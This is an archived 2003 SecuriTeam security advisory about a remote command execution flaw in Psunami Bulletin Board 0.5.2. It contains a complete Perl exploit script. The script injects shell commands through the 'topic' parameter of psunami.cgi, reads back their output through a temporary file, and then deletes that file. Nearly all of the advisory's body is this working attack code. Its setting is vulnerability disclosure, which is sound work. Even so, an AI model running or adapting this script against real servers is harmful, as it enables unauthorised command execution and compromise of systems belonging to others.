

# [EXPL] Psunami Bulletin Board CGI Remote Command Execution

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-01/0043.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 01/18/03

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 18 Jan 2003 10:45:49 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit [http://www.worldonline.co.za/services/work\\_ip.asp](http://www.worldonline.co.za/services/work_ip.asp)

-----

Psunami Bulletin Board CGI Remote Command Execution

---

## SUMMARY

Due to a vulnerability in <http://psunami.sf.net/> Psunami Bulletin Board, a remote attacker can cause it to execute arbitrary commands as the user running the CGI code. This would allow a remote attacker to compromise the integrity of the remote system. The following exploit code can be used to determine whether you are vulnerable.

## DETAILS

Vulnerable systems:

\* Psunami Bulletin Board version 0.5.2

```
<B>Exploit:</B>
```

```
#!/usr/bin/perl
```

```
use IO::Socket;
```

```
#
```

```
#
```

```
#Psunami Bulletin Board CGI remote command execution
```

```
#tested on version 0.5.2
```

```
#
```

```
#
```



## Securiteam: [EXPL] Psunami Bulletin Board CGI Remote Command Execution

```
$path = $ARGV[1];
$host = $ARGV[0];
if (!$ARGV[2]) {
$cmd = "uname%20-a";
} else {
$cmd = $ARGV[2];
}

$port = 80;
$sleep = 2; #overall sleep
$sleep_view = 6;
$sleep_view2 = 4;

$append =
"psunami.cgi?action=topic&board=1&topic=|echo%20::dodo::0::0::%3Epsunami/board1/dodo|";
$append1 =
"psunami.cgi?action=topic&board=1&topic=|$cmd|tr%20-s%20\\n%20\\v%3E%3Epsunami/board1/dodo|";
$append2 =
"psunami.cgi?action=topic&board=1&topic=|cat%20psunami/board1/dodo|tr%20-d%20\\n%20%3Epsunami/board1";
$append3 = "psunami.cgi?action=topic&board=1&topic=dodo";
$append4 =
"psunami.cgi?action=topic&board=1&topic=|rm%20psunami/board1/dodo|";

$i = 0;
while ($i<5)
{

$socket = new IO::Socket::INET (
    Proto => "tcp",
    PeerAddr => $host,
    PeerPort => $port,
);

die "unable to connect to $host:$port ($!)\n" unless $socket;
if ($i eq 0) {
print $socket "GET $path$append\nHTTP/1.0\n";
print "sending 1\n";
sleep $sleep;
}
if ($i eq 1) {
print $socket "GET $path$append1\nHTTP/1.0\n";
print "sending 2\n";
}
if ($i eq 2) {
print $socket "GET $path$append2\nHTTP/1.0\n";
print "sending 3\n";
}
if ($i eq 3) {
print "receiving data\n";
sleep $sleep_view;
print $socket "GET $path$append3\nHTTP/1.0\n";
```

## Securiteam: [EXPL] Psunami Bulletin Board CGI Remote Command Execution

```
while (defined($line = <$socket>)) {
    $recv .= $line;
}
sleep $sleep_view2;
}
if ($i eq 4) {
    print "cleaning up...";
    sleep $sleep;
    print $socket "GET $path$append4\nHTTP/1.0\n";
    print "done\n";
}

close($socket);
$i++;
}

print $recv;
print "the above is received from the server, if you have a 404 or 403,
theres somethin wrong
if not, and no command output, try again..
if command ouput buggy, convert \\v to \\n with tr\n";
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:[dodo@fuckmicrosoft.com](mailto:dodo@fuckmicrosoft.com)>  
dodo.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.